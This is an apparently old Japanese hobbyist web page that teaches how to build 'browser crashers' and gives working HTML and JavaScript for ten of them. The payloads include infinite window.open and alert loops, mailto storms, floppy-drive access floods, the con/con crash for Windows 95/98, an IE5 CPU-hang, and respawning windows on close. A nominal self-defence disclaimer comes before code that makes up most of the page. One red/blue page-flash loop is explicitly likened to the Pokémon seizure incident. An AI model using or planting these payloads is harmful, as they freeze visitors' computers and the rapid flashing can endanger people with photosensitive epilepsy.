「ブラクラの作成方法」
ここではいくつかのブラウザクラッシャーの作成方法を紹介しますが、決して作成したブラクラを
悪用しないでください。あくまで自己防衛のために、中はどうなっているのかを理解するために
作成方法を知っておくという目的で紹介します。
HPを持っている人であれば、多少のタグの知識と、JavaScriptで簡単に作れます。
無限ループを使用すると、ちょっとしたことが全てブラクラの元になりますので、ページを作成するときや
メールを送るときには注意してくださいネ
では代表的なブラウザクラッシャーとして
1、新しいwindowがどんどん出てくる
2、新しいメール(メッセージの作成)が沢山出てくる(mailtoストーム)
3、入っていないフロッピーディスクにアクセスし続ける(FDアタック)
4、conconクラッシャー(踏んだとたんにクラッシュ)
5、CPUの使用率が100%になって何も出来なくなる
6、ファイルを開き続ける(無限ループ)
7、画面がフラッシュして止まらない
8、テーブルタグの中に沢山のテーブルタグが入っている
9、閉じても閉じてもWindowが開いてしまう
10、アラート(警告窓)が開き続ける
以上のメニューをサンプルとともに掲載しております。
1、新しいwindowがどんどん出てくる。
一番一般的なブラクラの方法です。どんどんwindowが開いてしまうやつです。
例えば「abc」という名前の800×600のサイズの新しいウィンドウを出す方法は
<HEAD>〜</HEAD>の間に
<SCRIPT LANGUAGE="JavaScript">
function WindowOpen(){
open("abc.htm","window1","toolbar=no,hight=600,width=800");
}
</SCRIPT>
と書き込みますが、単にウィンドウを沢山出すだけなら
<SCRIPT LANGUAGE="JavaScript">
window.open()
window.open()
window.open()
window.open()
window.open()
・
・
・
window.open()
</SCRIPT>
と、window.open()をずらずらと書くだけで、書いた数だけのウィンドウを開きます
もっと簡単にすると、
<SCRIPT LANGUAGE="JavaScript">
<!--
for (i=0; i<100; ++i) {
window.open();
}
-->
</SCRIPT>
と、たった数行で100個のウィンドウが開いて、PCがリソース不足となってフリーズしてしまいます。
無限ループを使用している場合は、いくら出てきた窓を閉じていっても永久に開き続けるので、
脱出するには強制終了しかないです。
ここをクリックしてみてください→window新しいウィンドウが10個出てきます。
10個のwindowを閉じたあとで、表示>ソース、で中のソースが表示されますので参考にしてみてください。
2、新しいメール(メッセージの作成)が沢山出てくる(mailtoストーム)
メールプログラムを次々に沢山起動してしまうものです。
これは通常、HP上のメールアドレスをクリックすると出てくるメールプログラム(アウトルックエクスプレス等)を
たくさん出して、PCをフリーズさせてしまおうというものです。送信はしませんので安心?してください。
<BODY>〜</BODY>の間に
<IMG SRC="mailto:1">
と書くだけで、新しいメール(メッセージの作成)が出てきます。 沢山出す方法は
<IMG SRC="mailto:1">
<IMG SRC="mailto:2">
<IMG SRC="mailto:3">
・
・
<IMG SRC="mailto:10">
のように数字を連番で取ればOKです。
これも100個書くと100のメールが起動して、PCがフリーズします
ここをクリックしてみてください→mail新しいメール(メッセージの作成)が10個出てきます。
10個のmailを閉じたあとで、表示>ソース、で中のソースが表示されますので参考にしてみてください。
3、入っていないフロッピーディスクにアクセスし続ける(FDアタック)
windowsを使っているDos/V機であればフロッピーディスクは"Aドライブ"となっています
そこで、ページを開くとフロッピーディスクにファイルを探しに行く(アクセスし続ける)というソースを紹介します。
これもズラズラと沢山書くとFDD(フロッピーディスクドライブ)に延々とアクセスし続けます。
<BODY>〜</BODY>の間に
<IMG SRC="a:\1.jpg">
<IMG SRC="a:\2.jpg">
<IMG SRC="a:\3.jpg">
<IMG SRC="a:\4.jpg">
・
・
<IMG SRC="a:\100.jpg">
と書くとフロッピーディスクに 1.jpg 〜 100.jpg というファイルを探しに行きますから、フロッピーディスクが
延々と回り続けます。
ただ、NECのマシン(PC98シリーズ)ではAドライブはハードディスクですのでこのブラクラでは何も起こりません。
その場合は a:\ を b:\ や c:\ にすると同じようなことになります。
またMacintoshやUNIX、Linux、BeOSなどWindows以外のOSを使っている場合はAドライブが
フロッピーディスクでない(場合が多い)ので、この場合も何も起きず、「何これ?」になります。
ここをクリックしてみてください→fdattackOSがWindowsの場合は15秒ほどFDが回ります
フロッピーディスクが止まった後で、表示>ソース、で中のソースが表示されますので参考にしてみてください。
4、CONCONクラッシャー(対策が施されていなければ、踏んだとたんにクラッシュです)
Windows95/98で、IEのバージョンが5.01までならfile:///c|/con/conなど存在しないファイルにアクセスすると、
Windowsがcrashするというものです。 WindowsNT/2000では何も起こりません。
これはDOS時代にデバイスだった名前を指定するとwindowsがフリーズしてしまうというもので、
conの他prn、aux、nulという名前でも同じ事になります。
<BODY>〜</BODY>の間に
<IMG SRC="file:///c|/con/con">
と書き込むだけで、そのページに入ったとたんに強制終了画面になります。
インターネットエクスプローラ5.5以降では対策が施されていて何も起こりません
ここをクリックしてみてください→concon(いきなり強制終了ですので注意してくださいネ)
5、CPUの使用率が100%になって何も出来なくなる
Windows NT/2000版のInternet Explorer 5.0(IE5)をターゲットにした「Crash
IE 5」です。
これはWindows 2000 Magazine誌の常連寄稿者でもあるMark
Joseph Edwards氏を通じて、
米国時間の3月11日にメーリングリストntsecurity.net
で公開されたもの。
短いので引用すると、次のようなコードとなります。
<html>
<body bgcolor="steelblue">
<form>
<input type="button" value="Crash
IE 5"
onclick="document.body.style.display='none'"
style="position: absolute;
left: 40%; top: 50%; background: #777777;">
</form>
</body>
</html>
このHTMLページを読み込むと「Crash IE 5」というボタンが一つ配置されます。
それを押すとCPUの使用率が100%になってしまい、IE5は使えなくなります(強制終了しかありません)
Netscapeではエラーを表示するだけで何も起こりません。
6、ファイルを開き続ける(無限ループ)
ページを開くと、ファイルをどんどん開いていきます。
HPの中の<body>を下のように書くだけで、無限ループに入りフリーズします。
<body onload="var i=0;while(1){open('./',i++);}">
7、画面がフラッシュして止まらない
これは厳密にはブラウザクラッシャーではありませんが、作り方によっては停止不能のブラウザクラッシャーになってしまいます。
あの有名なTV東○のポケットモン○ターでピカ○ュウが電撃攻撃をして画面がフラッシュ!で、それをTVにかぶりついて
見ていた沢山の子供が気持ち悪くなって病院へ・・・というあれです。
真っ赤なページと真っ青なページを作ります
赤いページ、名前は red.htm とします
<HTML>
<HEAD>
<SCRIPT LANGUAGE="JavaScript">
<!--
function next(){
location.href="blue.htm";
}
//-->
</SCRIPT>
</HEAD>
<BODY bgcolor="red" onload="setTimeout('next()',1>
</BODY>
</HTML>
青いページ、名前は blue.htm とします
<HTML>
<HEAD>
</HEAD>
<SCRIPT LANGUAGE="JavaScript">
<!--
function next(){
location.href="red.htm";
}
//-->
</SCRIPT>
</HEAD>
<BODY bgcolor="blue" onload="setTimeout('next()',1)"
</BODY>
</HTML>
これで、どちらかのページにアクセスしたとたんに、両方のページを行ったり来たりで、画面が赤青赤青赤青・・・
危険なページその6「ピ○チュウ知ってる?」がそれに当たりますので、行ってみてくださいね。
さらに!
ブラウザでも出来ますが、なんとエクセル等の表計算ソフトでもマクロを書くだけで簡単に出来ます。
エクセルでのピカチュウ
8、テーブルタグの中に沢山のテーブルタグが入っている
ホームページ内に表を作成するときに使用するタグの<TABLE>ですが、テーブルの中にテーブル、その中にテーブルと、
テーブルを沢山ネストするとCPUのパワーを使ってしまいます。そこで、CPUのパワーを使い切るほど沢山のテーブルを
書き込んでPCをフリーズさせてしまうブラウザクラッシャーを作成してみることにします。
でも最近のPCはパワーがあるからこれくらいじゃ簡単にはフリーズしないね。
こをクリックしてみてください→table少しだけテーブルがあります
9、閉じても閉じてもWindowが開いてしまう
よくアダルトサイトなどで見かけるあれです。
Windowを閉じようとして右上の「×」のボタンを押すと、Windowが出てきて、それを閉じるとまた出て、それを閉じると・・・。
というやつです。
ページの名前は、win2.htm とします。
<HTML>
<HEAD>
<SCRIPT LANGUAGE="JavaScript">
function WindowOpen(){
window.open("win2.htm")
}
</SCRIPT>
</HEAD>
<BODY onunload="WindowOpen()">
</BODY>
</HTML>
と書いておけばいいです。
こをクリックしてみてください→win2かなりしつこくwindowが開き続けます。
10、アラート(警告窓)が開き続ける
ページに入ったとたんに警告のダイアログが開き、閉じても閉じても出てくる。
ダイアログが出ている間は他のことが何も出来ないという困ったやつです。
<HEAD>〜</HEAD>の間に
<SCRIPT LANGUAGE="JavaScript">
for ( ; ; ) {
window.alert("閉じても閉じても出てくるよ")
}
</SCRIPT>
と書けば無限ループでダイアログを開き続けます。